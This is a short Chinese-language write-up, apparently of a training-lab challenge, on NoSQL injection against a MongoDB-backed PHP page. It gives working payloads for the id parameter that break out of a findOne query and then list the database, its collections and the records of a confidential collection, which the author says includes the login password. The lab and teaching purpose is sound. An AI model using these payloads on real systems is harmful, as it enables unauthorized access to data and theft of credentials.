MongoDB语法跟其它数据库有所区别
具体参考:https://www.runoob.com/mongodb/mongodb-query.html
环境
思路
题目代码给出了列名
如果语句这样写/new_list.PHP?id=1 order by 2
代码接收db.notice.findOne({'id':'1 order by 2'}); return data; 并没有闭合,注入语句无法生效
想办法闭合语句,查看所有集合
注入语句
都是内置函数,注入语句改列名就行
构造简单的链接测回显:/new_list.PHP?id=1'}); return ({title:1,content:'2
爆库: /new_list.PHP?id=1'}); return ({title:tojson(db),content:'1
爆表:/new_list.PHP?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串,并且mongodb函数区分大小写
爆字段:/new_list.PHP?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.Authority_confidential是当前用的表,find函数用于查询,0是第一条数据,墨者第二条数据才是登录密码,故而把find()[0]改为find()[1]
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。